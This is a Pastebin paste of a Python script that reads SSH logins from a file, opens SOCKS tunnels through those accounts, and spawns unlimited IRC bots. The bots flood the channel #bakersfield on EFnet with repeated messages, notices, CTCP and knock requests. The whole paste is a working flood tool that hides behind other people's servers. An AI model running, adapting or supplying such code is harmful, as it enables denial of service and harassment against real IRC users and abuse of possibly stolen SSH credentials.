Advertisement
Guest User

Untitled

a guest
May 3rd, 2017
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.38 KB | None | 0 0
  1. #!/usr/bin/python
  2. import os
  3. import sys
  4. import socket
  5. import random
  6. import time
  7. import socks
  8. from threading import Thread
  9.  
  10. network = 'irc.efnet.org'
  11. port = 6667
  12. channel = '#bakersfield'
  13. message = 'pardon the interruption, large rewrite and testing'
  14.  
  15. accounts = 'accounts.txt'
  16. baseport = 9050
  17. maxletters = 7
  18. alphabet = 'qwertyuiopasdfghjklzxcvbnm'
  19. acctfile = open(accounts,'r')
  20. lines=0
  21. ssh_pid = 0
  22. for line in acctfile:
  23.   ssh_data = line
  24.   ssh_exploded = ssh_data.split(',')
  25.   ssh_host = ssh_exploded[0]
  26.   ssh_user = ssh_exploded[1]
  27.   ssh_pass = ssh_exploded[2]
  28.   ssh_port = ssh_exploded[3]
  29.   ssh_pid = os.fork()
  30.   if not ssh_pid:
  31.     os.execlp("/usr/bin/expect","expect","./ssh.exp",ssh_user,ssh_pass,ssh_host,ssh_port.replace("\n",""),str(baseport+lines))
  32.     break
  33.   else:
  34.     lines += 1
  35. if ssh_pid:
  36.   acctfile.close()
  37.  
  38. class bot(Thread):
  39.   def __init__ (self,seed):
  40.     Thread.__init__(self)
  41.     self.seed = seed
  42.  
  43.   def run(self):
  44.     inbound=''
  45.     nick=''
  46.     joined=0
  47.     for x in random.sample(alphabet,random.randint(2,maxletters)):
  48.       nick+=x
  49.     irc = socks.socksocket ( socket.AF_INET, socket.SOCK_STREAM )
  50.     irc.setblocking( 1 )
  51.     irc.setproxy( socks.PROXY_TYPE_SOCKS5,"localhost",random.randint(baseport,baseport+lines+1) )
  52.     irc.connect ( ( network, port ) )
  53.     irc.send ( 'NICK ' + nick + self.seed + '\r\n' )
  54.     irc.send ( 'USER ' + nick + self.seed + ' ' + nick + self.seed + ' ' + nick + self.seed + ' :' + nick + self.seed + '\r\n' )
  55.     while True:
  56.       inbound+=irc.recv( 4096 )
  57.       if inbound.find ( '\r\n' ) != -1:
  58.         data = inbound
  59.         inbound = ''
  60.       if data.find ( 'PING' ) != -1:
  61.         irc.send ( 'PONG ' + data.split() [ 1 ] + '\r\n' )
  62.       if data.find ( '404' ) != -1:
  63.         joined = 0
  64.       if data.find ( '473' ) != -1:
  65.         irc.send ( 'KNOCK ' + channel + ' :' + message + '\007\r\n' )
  66.       if joined == 0:
  67.         irc.send ( 'JOIN ' + channel + '\r\n' )
  68.         joined = 1
  69.         time.sleep ( .5 )
  70.       if joined == 1:
  71.         irc.send ( 'PRIVMSG ' + channel + ' :' + message + '\007\r\n' )
  72.         irc.send ( 'NOTICE ' + channel + ' :' + message + '\007\r\n' )
  73.         irc.send ( 'PRIVMSG ' + channel + ' :\001VERSION ' + message + '\007\r\n' )
  74.         time.sleep ( .5 )
  75.  
  76. def spawn():
  77.   while True:
  78.     bot_instance = bot(str(random.randint(1,9999)))
  79.     bot_instance.start()
  80.  
  81. spawn()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement